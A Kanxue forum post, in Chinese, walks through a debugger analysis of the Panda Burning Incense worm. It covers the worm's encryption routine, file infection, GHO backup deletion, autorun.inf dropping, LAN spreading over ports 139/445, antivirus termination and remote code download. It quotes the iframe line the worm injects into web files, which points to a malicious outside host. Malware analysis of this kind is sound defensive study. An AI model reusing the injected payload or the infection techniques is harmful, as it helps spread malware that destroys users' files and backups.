本文為看雪論壇優秀文章
看雪論壇作者ID:碼小芹
最近學校通知不開學,網課也不想上。學習逆向也有段時間了,就想著找點東西練一下水平不高。找了個病毒分析一比較經典的病毒分析。我看網上有很多關於熊貓燒香病毒的分析,但都是側重於對病毒功能以及影響的總結,具體分析方法並未提及。本文主要側重於對熊貓燒香病毒逆向分析過程中的思路和方法的分享。00405360 /$ 55 push ebp00405361 |. 8BEC mov ebp,esp00405363 |. 83C4 E8 add esp,-0x1800405366 |. 53 push ebx00405367 |. 56 push esi00405368 |. 57 push edi00405369 |. 33DB xor ebx,ebx0040536B |. 895D E8 mov [local.6],ebx0040536E |. 895D F0 mov [local.4],ebx00405371 |. 895D EC mov [local.5],ebx00405374 |. 894D F4 mov [local.3],ecx00405377 |. 8955 F8 mov [local.2],edx0040537A |. 8945 FC mov [local.1],eax0040537D |. 8B45 FC mov eax,[local.1]00405380 |. E8 37EDFFFF call 004040BC00405385 |. 8B45 F8 mov eax,[local.2]00405388 |. E8 2FEDFFFF call 004040BC0040538D |. 33C0 xor eax,eax0040538F |. 55 push ebp00405390 |. 68 4A544000 push 0x40544A00405395 |. 64:FF30 push dword ptr fs:[eax]00405398 |. 64:8920 mov dword ptr fs:[eax],esp0040539B |. 837D FC 00 cmp [local.1],0x00040539F |. 75 0A jnz X004053AB004053A1 |. 8B45 F4 mov eax,[local.3]004053A4 |. E8 9BE8FFFF call 00403C44004053A9 |. EB 77 jmp X00405422004053AB |> 8D45 EC lea eax,[local.5]004053AE |. 8B55 F8 mov edx,[local.2]004053B1 |. E8 26E9FFFF call 00403CDC004053B6 |. 8D45 F0 lea eax,[local.4]004053B9 |. E8 86E8FFFF call 00403C44004053BE |. 8B45 FC mov eax,[local.1]004053C1 |. E8 06EBFFFF call 00403ECC ; strlen(字符串1)004053C6 |. 8BF0 mov esi,eax ; esi = eax004053C8 |. 85F6 test esi,esi ; if(esi == 0)004053CA |. 7E 4B jle X00405417 ; break004053CC |. BB 01000000 mov ebx,0x1 ; ebx = 1004053D1 |> 8B45 EC /mov eax,[local.5] ; do{004053D4 |. E8 F3EAFFFF |call 00403ECC ; strlen(字符串2)004053D9 |. 50 |push eax004053DA |. 8BC3 |mov eax,ebx ; eax = ebx004053DC |. 5A |pop edx ; edx = eax004053DD |. 8BCA |mov ecx,edx ; ecx = edx004053DF |. 99 |cdq004053E0 |. F7F9 |idiv ecx ; edx = eax % ecx004053E2 |. 8BFA |mov edi,edx ; edi = edx004053E4 |. 47 |inc edi ; edi++004053E5 |. 8B45 EC |mov eax,[local.5]004053E8 |. 0FB64438 FF |movzx eax,byte ptr ds:[eax+edi-0x1] ; eax = str1[edi - 1]004053ED |. B9 0A000000 |mov ecx,0xA ; ecx = 10004053F2 |. 33D2 |xor edx,edx ; edx = 0004053F4 |. F7F1 |div ecx ; edx = eax % ecx004053F6 |. 8B45 FC |mov eax,[local.1]004053F9 |. 0FB64418 FF |movzx eax,byte ptr ds:[eax+ebx-0x1] ; eax = str2[edi - 1]004053FE |. 33D0 |xor edx,eax ; edx = edx ^ eax00405400 |. 8D45 E8 |lea eax,[local.6]00405403 |. E8 24EAFFFF |call 00403E2C ; eax[ebx] = edx00405408 |. 8B55 E8 |mov edx,[local.6]0040540B |. 8D45 F0 |lea eax,[local.4]0040540E |. E8 C1EAFFFF |call 00403ED400405413 |. 43 |inc ebx ; ebx++00405414 |. 4E |dec esi ; esi--00405415 |.^ 75 BA \jnz X004053D1 ; }00405417 |> 8B45 F4 mov eax,[local.3]0040541A |. 8B55 F0 mov edx,[local.4]我們接著分析函數0x404018,我們發現其是比較兩個參數 eax 所指向的字符串和edx所指向的字符串是否相等,而此時eax指向的字符串剛好是加密函數0x405360所產生的在0x009000c0地址下的字符串。而 edx 指向的地址0x0090000c地址下的字符串也剛好為此字符串,二者相當。所以不會結束進程。
現在我們知道了函數0x405360是一個加密函數,而函數0x404018是一個字符串比較函數。從而判斷源文件是否被修改。
一共有兩處這種判斷,我們繼續往下動態分析得,第二處是將字符串「whboy」與如下字符串經過函數0x405360加密後得到第二張圖中的字符串。
程序通過這兩處自效驗過程後,繼續運行我們繼續向下分析發現程序在調用三個函數之後就會進入消息循環,所以我們可以得知這三個函數是這個病毒的主要功能。
我們F7進入第一個函數,然後我們通過動態調試進入每一個 Call 分析其功能,最後分析如下。其會先調用GetMoudleFileNameA( )函數獲得程序完整路徑,然後在完整路徑的基礎上去掉程序名得到一個字符串後與 Desktep.ini 連接。並通過FindFirstFileA( )函數尋找此文件。我們繼續往下分析,其會調用 ReadFile() 把自己讀到內存中,然後調用GetFileSize() 獲得文件的大小接著其會判斷文件的最後一個字節是不是等於1,意思是等於1就證明其被感染文件隨之去執行上方一部分代碼塊,否則則繼續執行。
接著往下分析,程序會會獲取系統路徑並與 drivers 和 spcolsv.exe 連接成路徑並與程序自身路徑比較,看是否相等,相等則會跳轉。
因為程序路徑與此路徑不匹配,所以其不會跳轉。接下來程序會利用OpenProcrss()函數來提成程序的權限,然後會調用CopyFile()函數把自身複製一份到系統路徑的drivers文件夾下,並命名為spcolsv.exe. 創建完之後程序會調用WinExec( )運行此程序,並結束進程。如此我們知道了,panda.exe 主要是為了在系統目錄的 driver 文件夾下創建病毒的副本 spcolsv.exe 文件並運行它。這樣其在上方判斷路徑是否相等時就會成立,從而使程序繼續往下執行。
接下來我們可以恢復虛擬機的初始快照,並再次分析病毒樣本,當我們運行來到路徑判斷處時我們只要把 ZF 置為 0,即可讓程序認為自己就是系統目錄drivers 文件夾下的 spcolsv.exe 程序了,接著我們就可以繼續往下分析了。接著分析後我們第一個函數運行返回了。我們緊接著可以分析第二個功能函數了。
我們 F7 進入第二個函數後發現其調用了3個函數後返回,那我們就一個一個分析。我們 F7 繼續進入第一個函數後,返現此函數僅僅調用了 CreateThread( ) 創建了一個線程。線程函數為0x0040A6C8函數,我們可以在此函數入口處下斷點
我們這裡使用一個技巧來完成多線程的調試,那就是我們可以在運行完此函數返回後直接跳過後兩個函數,這樣第二個功能函數返回後,我們也不執行第三個功能函數,直接讓程序進入消息循環。這樣一來方便我們調試此線程。當程序返回消息循環後我們 F9 運行程序,這是那個新創建的線程已經啟動,並且程序斷在了我們設置的線程函數入口斷點處。
接著我們反彙編查看 0x004076b4 函數,發現其調用了 GetDriveType( )。我們 F7 進入動態調試,我們發現其會從A遍歷到Z盤,把存在的盤符保存到0x9c0160 地址處。接著會把存在的盤符與「:\」連接在一起。接著會調用0x4094a4函數,反彙編查看此函數時發現可疑。我們 F7 進入,進一步分析。進一步分析我們發現其會把剛才找到存在的盤符與「%20*.*%20」連接後,調用%20FindFirstFileA( )尋找任意文件,如果找不到文件就跳轉結束。(因為此時肯定有文件,所以 F8 運行其一定不會跳轉,接著我們進一步往下分析)當前尋找到文件後就會獲得其擴展名,然後與「GHO」做比較,如果後綴等於「GHO」的文件統統調用 DeleteFile( ) 刪除(GHO文件時系統備份文件,其是防止系統恢復)。
然後其又會比較找到的文件是否為 setup.exe 或者 NTDETECT.COM,如果為這兩個文件的話則直接去尋找下一個文件,不做任何操作。如果不是上述兩個文件則繼續判斷文件的後綴,如果是 exe,scr,pif,com 文件則調用0x0040800函數,如果是 htm,html,asp,php,jsp,aspx 文件的話則會調用0x00407adc函數。我們這裡在這裡判斷是否為 exe 文件處下斷點,運行程序後當尋找到磁碟中的 cmdline.exe 文件後其會進入第一類函數中進行感染文件,我們 F7 進入後會分析。其會先拍攝進程快照去尋找待感染的文件是否運行,如果已運行則放棄感染。接著會判斷查找到的文件是否為正在運行的程序,如果相等則直接返回。接著其會把尋找的到的 exe 文件讀到內存中,並且設置文件屬性。
然後會將正在運行的病毒樣本文件複製為待感染的 exe 文件。這樣一來現在此 exe 文件現在就是病毒文件了。
然後往下通過動態分析得:其會獲得原文件的大小然後和文件名與字符 whboy 連接在一起並以1結尾,構成一段字符串。然後一次在病毒程序後追加寫入原文件和上述標誌信息。
接著我們利用上述思路分析0x00407adc函數得出,其是通過將主要將字符串「\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>」添加到文件末尾而感染網絡文件的。
分析完第二功能函數的第一個函數後,我們接著去分析第二個函數。我們從新加載程序,並且我們直接設eip為第二個功能函數的第二個函數。這樣便於分析,不會受到前面函數的影響。F7 進入此函數後發現設置了一個計時器,那麼我們為了方便分析此計時器回調函數幹了什麼,我們同樣先在計時器回調函數處下斷點,然後在執行完此函數後直接返回到消息循環中。我們往下分析此函數,其會先在已存在的盤的根目錄下尋找 setup.exe 文件與 autorun.inf 文件。然後如果沒有尋找到此文件就跳轉。跟著跳轉後,其會把正在運行的病毒文件複製為 c:\setup.exe。隨後又創建 c:\autorun.inf文件。
往文件中寫入一下內容後,將 setup.exe 與 autorun.inf 的屬性設為隱藏。
緊接著我們在分析第二個功能函數的最後一個函數,同樣我們重新載入程序,並且直接來到此函數處,不運行前面那幾個功能函數。F7 進入此函數,發現其會創建線程,而且是循環創建10次。
為了便於對此線程回調函數的分析,我們在其執行一次創建後就讓其返回到消息循環中。
並在線程回調函數處下斷點,運行程序將會斷在此斷點處。
程序停到此線程回調函數入口點後,我們進一步分析。發現此函數會通過埠139和埠445進行區域網傳播。
這樣此函數就分析完了,到此為止我們把前兩個功能函數已經分析完了,下面分析第三個功能函數我們還是重新載入程序後,直接設置 eip 來到第三個功能函數處。然後我們F7 進入函數後發現其主要功能就是設置了4個計時器。通過四個計時器回調函數來完成具體的功能。
我們還是採用以前的思路,在其計時器回調函數處下斷點後我們運行完一個計時器設置函數後直接來到消息循環處。但是我們要注意其有的計時器設置得時間周期較長,我們可以在調用時把時間周期參數改小點。進入函數後我們發現函數調用了0x00406f3c函數,進入後發現是創建了一個線程。我們在線程回調函數處下斷點並採用老方法來到斷點處。來到斷點處我們發現其共有3種操作。
一是遍歷殺毒軟體並關閉:
三是關閉任務管理器等一些程序:
分析完線程函數後我們回到主線程繼續分析其調用RegCreatekeyExA()---->RegSetValaueExA%20%20%20%20---->%20%20%20RegCloseKey()來設置兩個啟動項,第一個是用來在開機時自動啟動病毒。另一個是設置使用戶無法查看隱藏文件。
接著重新載入程序來到第二個計時器回調函數處。我們在調用第二個計時器設置函數時我們應把其時間周期參數該小點,改為1000(1s)。然後再分析運行程序。
程序來到計時器回調函數中,發現函數實際是創建了一個線程。我們還採用直接在此線程回調函數處下斷點,然後我們運行程序。
我們運行程序後,程序會停在線程回調函數的斷點處。接下來我們就可以對此線程回調函數進一步分析。我們發現其會先調用0x40c728函數將一段密文與「xboy」進行一定的運算,算法和文件自效驗時用的一樣。最後得到一個網址:
接下來其會調用函數0x40c81c,反彙編查看發現可疑,我們 F7 進入分析。發現其實際是從剛才產生的那個網址上試圖從網站讀取到網頁原始碼並且運行代碼。當程序停在第三個計時回調函數處時,我們發現其創建了兩個線程。我們反彙編查看第二個線程的回調函數發現其利用 cmd 命令刪除了共享文件。我們在線程回調函數下斷點,運行程序來到回調函數處。我們發現此回調函數主要是刪除一些服務和殺毒軟體得啟動項(瑞星了什麼的)。
該文就是我在分析病毒時的思路,沒用 IDA 就是想鍛鍊鍛鍊反彙編代碼的能力。動態調試結合 IDA 會更方便分析。看雪ID:碼小芹
https://bbs.pediy.com/user-861998.htm
*本文由看雪論壇 碼小芹 原創,轉載請註明來自看雪社區。
好書推薦